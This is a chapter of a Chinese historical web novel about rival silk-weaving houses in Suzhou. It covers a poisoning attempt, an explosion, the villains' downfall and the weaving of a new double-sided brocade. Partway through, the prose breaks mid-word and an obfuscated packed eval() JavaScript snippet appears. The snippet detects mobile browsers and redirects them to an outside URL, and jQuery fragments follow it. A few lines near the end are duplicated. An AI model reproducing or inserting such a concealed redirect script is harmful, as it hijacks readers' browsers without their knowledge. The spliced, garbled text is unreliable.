二月初十,亥时三刻,谢府别院。
这处宅子位于苏州城东,与织云别院的清冷雅致不同,处处透着奢靡。朱门高墙,檐角悬着琉璃风灯,光晕昏黄如鎏金。院内假山叠石,引活水成池,池中游鱼斑斓,即便在这春寒料峭的夜里,水面也无半分冰凌——是烧了地龙,硬生生将一池水烘成了温泉。
顾廷琛坐在池边水榭中,一身云纹锦袍,外罩墨狐大氅,手中把玩着一只白玉酒盏。盏中酒液琥珀色,是三十年陈的女儿红,酒香混着池面蒸腾的水汽,氤氲成一片迷离。
他面前跪着一人。
阿福。
双手反剪,嘴里塞着麻核,脸上那道刀疤在灯光下更显狰狞。他盯着顾廷琛,眼中血丝密布,像一头被困的幼兽。
“别这么看着我。”顾廷琛轻笑,俯身扯掉他口中麻核,“你那主子,很快就来陪你了。”
阿福啐出一口血沫:“呸!掌案不会来!”
“哦?”顾廷琛挑眉,“那你猜,她现在在哪儿?”
话音未落,水榭外传来通报:
“苏掌案到——”
顾廷琛笑容加深,抬手:“请。”
苏晚音踏进水榭时,一身素青棉袍已沾满夜露。她没披斗篷,发间只簪一支素银簪子,在满堂金玉锦绣中,单薄得像个误入富贵的贫家女。
可她的背脊挺得笔直。
目光扫过跪在地上的阿福,见他性命无虞,眼中稍缓,随即看向顾廷琛:
“顾掌柜邀晚音来,不会只是请我赏鱼吧?”
“自然不是。”顾廷琛抬手示意,“坐。”
苏晚音在石凳上坐下,只坐了半边,背脊依旧挺直。
“先喝杯酒,暖暖身子。”顾廷琛亲自斟酒,推到她面前。
苏晚音没动。
顾廷琛也不恼,自顾自饮了一口,才缓缓道:“苏掌案那八匹‘云山藏金’,卖得可好?”
“托顾掌柜的福,尚可。”
“一百两一匹,八匹便是八百两。”顾廷琛屈指轻叩桌面,“蜀丝成本不过十两一匹,秘色染法虽贵,至多二十两。一匹锦净赚七十两,苏掌案……好手段。”
苏晚音抬眼:“顾掌柜若想学,晚音可以教。”
顾廷琛笑容一僵。
“不过,”苏晚音继续道,“教一人是教,教两人也是教。不如请谢公子一同来,晚音将藏金、秘色一并说了,省得顾掌柜再费心转述。”
这话已近乎直白地戳破顾廷琛的私心——他想独占苏家技艺,不愿让谢无咎分羹。
顾廷琛眼中厉色一闪,随即又笑起来:“苏掌案误会了。廷琛今日请你来,是想谈一桩……更大的生意。”
“哦?”
“谢家与苏家的合作,终究隔着一层。”顾廷琛身体前倾,声音压低,“若苏掌案愿与我顾某私下联手,我保苏家丝路畅通,保苏家技艺不外传,保你……在江南织造圈,一人之下,万人之上。”
一人之下。
他之下。
苏晚音静静看着他,良久,忽然笑了。
笑意很淡,却带着洞悉一切的锋利。
“顾掌柜是想……取谢公子而代之?”
顾廷琛神色不变:“谢家掌事,向来能者居之。”
“可谢公子是谢家嫡脉,顾掌柜只是表亲。”苏晚音声音平静,“以下克上,是为不忠;背主求荣,是为不义。顾掌柜这桩生意,晚音不敢接。”
“不忠?不义?”顾廷琛嗤笑,“苏掌案,这世道,利字当头,谁还讲那些虚的?谢无咎守着谢家那些老规矩,早晚把谢家带进死路。而我——”
他站起身,走到水榭边,望着池中游鱼:
“我能让谢家吞并苏家,吞并周家,吞并整个江南织造。到那时,内务府算什么?王和年算什么?不过是咱们手底下一枚棋子。”
他说得狂妄,眼中却闪着一种近乎疯癫的光。
苏晚音心下了然。
顾廷琛的野心,不止于谢家,不止于江南。
他要的,是织造业的皇图霸业。
而她,是他选中那把最锋利的刀。
“顾掌柜志向远大。”苏晚音缓缓起身,“可惜晚音目光短浅,只想守住苏家一亩三分地。这桩生意……恕难从命。”
她转身要走。
“苏掌案!”顾廷琛声音骤然冷厉,“你可想清楚了?走出这个门,苏家便真没路走了。”
苏晚音脚步未停。
“拦住她!”
水榭外涌出十余名护卫,刀光凛冽。
阿福嘶声吼:“掌案快走!”
苏晚音却转过身,看向顾廷琛,眼中无半分惧色:
“顾掌柜以为,我今日敢来,会没有准备?”
顾廷琛皱眉。
就在这时,院外忽然传来急促的脚步声,一个管事模样的人连滚爬进水榭,声音发颤:
“三爷!表、表公子来了!”
谢无咎?
顾廷琛脸色骤变。
水榭外,月洞门下,一人缓步而来。
月白长衫,墨狐斗篷,眉目清冷如雪。他身后只跟着两名随从,可那通身的气度,却让满院护卫不由自主让开道路。
谢无咎踏进水榭,目光先扫过苏晚音,见她无恙,眼中稍缓,随即落在顾廷琛身上。
“表弟好雅兴。”他声音平静,“深夜邀苏掌案赏鱼,怎么不叫我?”
顾廷琛脸上挤出一丝笑:“表哥怎么来了?这点小事,何劳你亲自……”
“小事?”谢无咎打断他,走到石桌前,拿起那只白玉酒盏,端详片刻,“用三十年陈的女儿红待客,表弟倒是大方。”
他放下酒盏,抬眼:
“只是不知,这酒里……可加了别的料?”
顾廷琛笑容僵住。
苏晚音心中一惊。
酒里有毒?
她看向那盏酒,琥珀色的酒液在灯光下泛着诱人的光泽——若非谢无咎提醒,她方才若真喝了……
“表哥说笑了。”顾廷琛强笑道,“廷琛怎会做这种事?”
“不会吗?”谢无咎从袖中取出一张纸,轻轻放在桌上,“那这是什么?”
纸上墨迹清晰,是一张药方。几味药材名字,苏晚音大多不识,可末尾一行小字,她却看得分明:
“此方入酒,半时辰内筋骨酥软,神志清明,口不能言。”
是软筋散。
顾廷琛脸色终于变了。
“表弟近来,与药铺王掌柜走得很近啊。”谢无咎声音依旧平静,却字字如冰,“松江绸庄的账目,也对不上——三个月,亏空五千两。钱去哪儿了?买通码头官吏?收买江湖杀手?还是……喂了王和年那条老狗?”
顾廷琛后退一步,额上渗出细汗。
“表哥,你听我解释……”
“不必解释。”谢无咎抬手,“从今日起,松江绸庄由我亲自接管。表弟你……回老宅思过吧。”
这是要夺权了。
顾廷琛眼中闪过怨毒,忽然笑了,笑声嘶哑:
“谢无咎,你以为你赢定了?我告诉你,王公公已经答应我,只要拿下苏家技艺,内务府明年贡缎的份额,全归谢家!到时候,你那些清高的规矩,能当饭吃吗?!”
“王和年?”谢无咎轻笑,“表弟可知,王和年三日前已被御史弹劾,如今自身难保。他那义子在扬州盐道贪墨的罪证,早被人递到了都察院——不出十日,必下诏狱。”
顾廷琛如遭雷击。
“不可能……王公公在朝中经营多年,怎么会……”
“因为他得罪了不该得罪的人。”谢无咎看向苏晚音,眼中掠过一丝复杂,“苏掌案,你可知齐衡为何辞官?”
苏晚音摇头。
“他不是辞官,是奉密旨,暗中查办王和年。”谢无咎缓缓道,“齐家与王家是世仇,当年王和年害死齐衡的父亲,这仇……他记了十年。”
原来如此。
苏晚音忽然想起齐衡那双温润却深不见底的眼,想起他一次次“恰到好处”的援手。
那不是巧合。
是算计,是布局,是一场筹谋十年的复仇。
而她,阴差阳错,成了破局的那枚棋子。
“表弟,你输了。”谢无咎转身,看向顾廷琛,“输在太急,输在太贪,输在……太小看人心。”
顾廷琛踉跄后退,撞在石桌上,酒盏哗啦落地,碎成齑粉。
他盯着谢无咎,又盯着苏晚音,眼中血丝密布,忽然癫狂大笑:
“好!好!你们清高!你们仁义!我倒要看看,等苏家倒了,等谢家被内务府吞了,你们还能不能笑得出来!”
他猛地从怀中掏出一物——是个竹筒,筒口有引信。
火折子一闪,引信嘶嘶燃烧。
“都给我陪葬吧!”他嘶吼着,将竹筒扔向水池。
“小心!”谢无咎一把将苏晚音护在身后。
阿福挣扎着扑向竹筒,用身体死死压住。
“轰——!!”
沉闷的爆炸声。
水花四溅,池中游鱼翻白,假山崩裂。
阿福被气浪掀飞,重重撞在柱子上,一口鲜血喷出。
烟尘弥漫中,顾廷琛的身影已消失在月洞门外。
谢无咎扶起苏晚音:“没事吧?”
苏晚音摇头,踉跄跑到阿福身边。
少年浑身是血,胸口嵌着一片碎铁,呼吸微弱。他看见苏晚音,咧嘴想笑,却涌出更多血沫:
“掌案……锦……没让他毁了……”
苏晚音眼眶一热,哑声道:“别说话,大夫马上来。”
谢无咎已吩咐随从去请大夫,又让人追捕顾廷琛。
水榭里一片狼藉。
苏晚音跪在阿福身边,握着他冰凉的手,直到大夫赶来,将人抬下去救治,才缓缓起身。
她看向谢无咎:“顾廷琛……会逃去哪儿?”
“松江。”谢无咎声音低沉,“他在那里经营多年,必有后路。但……他逃不掉。”
“为何?”
“陈九在松江,已联络各大散户,结成‘锦商盟’。”谢无咎看着她,“苏掌案可知,顾廷琛这些年压价收购散户丝料,逼得多少匠人家破人亡?如今盟约一成,他在松江……已是过街老鼠。”
苏晚音怔住。
陈九。
那个母亲旧识,那个她托钱老去寻的江湖人。
竟在暗中,织了这样一张网。
“苏掌案,”谢无咎走到她面前,月光照在他清冷的侧脸上,“顾廷琛虽逃,可王和年还在,内务府还在,江南织造的困局……还在。”
他顿了顿,从袖中取出一封信:
“这是齐衡今早派人送来的,给你的。”
苏晚音接过,拆开。
信很短,只有一行字:
“新贡需‘新纹’,旧法不足恃。端午前,若见新锦,或可转圜。”
新纹。
不是冰纹,不是云山。
是真正能让内务府眼前一亮,能让朝廷破例的……新样。
苏晚音握着信纸,指尖微微颤抖。
良久,她抬头,看向谢无咎:
“谢公子,苏家技艺……可以教。”
谢无咎一怔。
“但不是藏金,不是秘色。”苏晚音声音清晰,“是‘经纬同织法’——我母亲当年未完成的绝技。”
经纬同织。
正面为锦,反面亦为锦。两面纹样不同,却同出一机,同出一手。
这是苏锦娘晚年苦思的技法,札记中只留了半页残稿,字迹潦草,图示模糊。苏晚音参详数月,也只窥得皮毛。
可如今,她愿意拿出来。
拿出来,与谢无咎共享。
“条件呢?”谢无咎问。
“第一,谢家助苏家打通蜀丝水路,确保丝料不断。”苏晚音竖起一根手指,“第二,苏谢两家合织新锦,贡入宫中,荣辱与共。第三——”
她顿了顿,一字一句:
“江南织造,往后不该是一家独大。散户、小户、乃至寻常匠人,都该有活路。”
谢无咎看着她,看了很久。
月光如水,洒在她苍白的脸上,那双眼睛却亮得灼人。
像雪地里燃烧的火。
“好。”他终于点头,“我答应。”
二月中,惊蛰。
春雷乍响,万物复苏。
苏府染坊重新开炉,这一次,不止苏家的匠人。
谢家来了三位老织工,带着谢家独有的“双面提花”技法。松江陈九派来两位徒弟,精通蜀丝处理。甚至连杭州周家,也悄悄遣了个年轻匠人来,说是“观摩学习”。
小小染坊,竟聚了江南织造半壁江
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032917|194563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
山的能工巧匠。
苏晚音将母亲那半页残稿悬在织房正中,与众人一同参详。
“经纬同织,难在力道。”谢家老织工皱眉,“正面引纬需七分力,反面只得三分。力重则锦僵,力轻则纹散。”
“蜀丝柔韧,或可一试。”陈九的徒弟道,“只是蜀丝与湖丝质地不同,同织时恐有拉扯。”
“那便分经。”苏晚音提笔,在纸上勾画,“正面用湖丝为经,蜀丝为纬,织‘春山’纹;反面用蜀丝为经,湖丝为纬,织‘秋水’纹。山为骨,水为魂,正反相成,方为‘山水同天’。”
山水同天。
众人皆怔。
良久,谢家老织工抚掌:“妙!湖丝细腻如秋水,蜀丝筋骨似春山!这般织法,确是前所未有!”
匠人们眼中燃起光。
那是见绝技而生的狂热,是匠人骨子里的执着。
织机重新上料,丝线分拣染色,画稿反复修改。
这一次,没有日夜轮班,没有封闭织房。
匠人们吃住都在染坊,累了便在织机旁打个盹,醒了继续琢磨。争辩声、探讨声、梭声,混成一片喧嚣却蓬勃的交响。
苏晚音也住在染坊。
她褪下掌案的衣裳,换上靛蓝工服,与匠人们一同调色、捻线、试织。手上很快磨出水泡,水泡破了结痂,痂又磨破,最后留下一层薄茧。
可她的心,却从未如此充实。
二月末,松江传来消息。
顾廷琛果然逃回松江,欲卷款潜逃,却被陈九率领的“锦商盟”围堵在码头。争执间,顾廷琛失足落水,等捞上来时,已没了气息。
是失足,还是“被失足”,无人深究。
王和年倒台的消息,也在同一日传遍江南。
都察院查实他贪墨军饷、卖官鬻爵、勾结盐商等十二项大罪,判斩立决,家产抄没。其党羽株连者众,江南官场为之一清。
盛明玉的丈夫盛怀瑾,因牵涉王和年盐案,被削去功名,抄没家产。
当晚,苏府门前忽然来了人。
没有往日的车马随从,也不见满头珠翠。盛明玉只披一件旧狐裘,鬓角凌乱,却仍强撑着仪态,在门前站得笔直。
她见了苏晚音,先行一礼,声音低哑却条理清楚:
“妹妹,盛家败了,我认。怀瑾纵有过错,也不过是被王和年牵连。你我终究是姻亲,还请看在母亲的面上,给盛家留一条活路。”
话说得极稳。
既不哭闹,也不指责,只把“亲戚情分”摆在苏府门前,让旁人难以拒绝。
李氏果然叹了口气,低声道:“终究是亲戚……”
盛明玉眼中掠过一丝极淡的光。
盛明玉缓缓吐出一口气。可就在这时,门外围观的人群里,忽然有人冷冷开口:
“盛夫人既念亲戚情分,当年逼周家停业、吞并丝庄时,可也这样念过?”
盛明玉脸色微变,旋即笑道:“哪来的闲人,胡言乱语——”
话未说完,苏府侧门轻启,小蝉快步递来一封信。
苏晚音只扫了一眼,便将信纸折好,递到李氏手中。
李氏看完,手指猛地一抖,脸色瞬间沉了下去。
“你……你竟还敢来求?”李氏声音发颤,却一字一句清晰,“当年你私下递话盐道,借王和年的手逼周家断货,害得你外祖父含恨而终——这也是‘亲戚’?”
盛明玉僵在原地。
她张了张嘴,想辩解,想否认,却发现四周的目光已悄然变了。
四周的目光,一道道落在她身上。
没有一个,是替她说话的。
“不是……不是我……”她终于失声,声音尖了一瞬,连自己都没料到。
那一瞬间,她苦心维持的体面,彻底碎了。
苏晚音看着她,语气平静得近乎冷漠:
“母亲,盛家当年逼死我外公、吞并周家丝庄时,可曾想过亲戚情分?”
李氏沉默良久,只道:“请盛夫人回吧。”
盛明玉还跪着。
盛明玉的额头,慢慢贴在冰冷的青石上。
她在苏府门前跪了一日。
到黄昏时分,才被丫鬟搀扶着离去。背影踉跄,再无往日半分风光。
冯小怜暗中递信说,苏晚棠在扬州听闻此事,只淡淡道了句:“善恶有报,天道轮回。”
三月初三,上巳节。
新锦终于织成最后一纬。
长一丈,宽三尺六寸。正面春山叠翠,湖丝为底,蜀丝为纹,山势磅礴,层林尽染;反面秋水长天,蜀丝为底,湖丝为纹,水波粼粼,云影徘徊。
最奇的是,正反两面在光下交叠时,山影映水,水气润山,竟隐隐透出一幅完整的《江山万里图》。
“成了……”谢家老织工老泪纵横,“老朽织锦四十年,从未见过这般……这般活了的锦!”
匠人们围着锦,无人说话,只眼中泪光闪动。
匠人们围着锦站着,没人先开口。
苏晚音伸手,轻抚锦面。
山纹粗粝,水纹柔滑,指尖传来的触感截然不同,却又奇妙地融为一体。
像这江南织造,像这人心世道。
千丝万缕,终能织成锦绣。
她转身,看向众人,深深一揖:
“苏晚音,代苏家,谢过诸位。”
匠人们慌忙还礼。
染坊里,一片肃然。
窗外,春雷又响。
细雨如丝,飘洒而下,润泽万物。
像这场持续数月的寒冬,终于过去了。
三月初五,谢无咎亲赴苏府,送来一张帖子。
不是冰花纹,是素白宣纸,墨迹遒劲:
“新锦已成,贡期在即。三月初十,织云别院,共商入京。”
苏晚音接过帖子,指尖拂过“入京”二字,心头涌起一股复杂的情绪。
争市一局,至此方休。
可更大的局,才刚刚开始。
她抬眼,望向北方。
京城。
那座矗立在千里之外,掌控着江南织造生死荣辱的巍巍皇城。
她终是要去的。
带着苏家的锦,带着母亲的遗志,带着这一路淌过的血与泪。
去争一个公道。
争一个未来。
(第九章·完)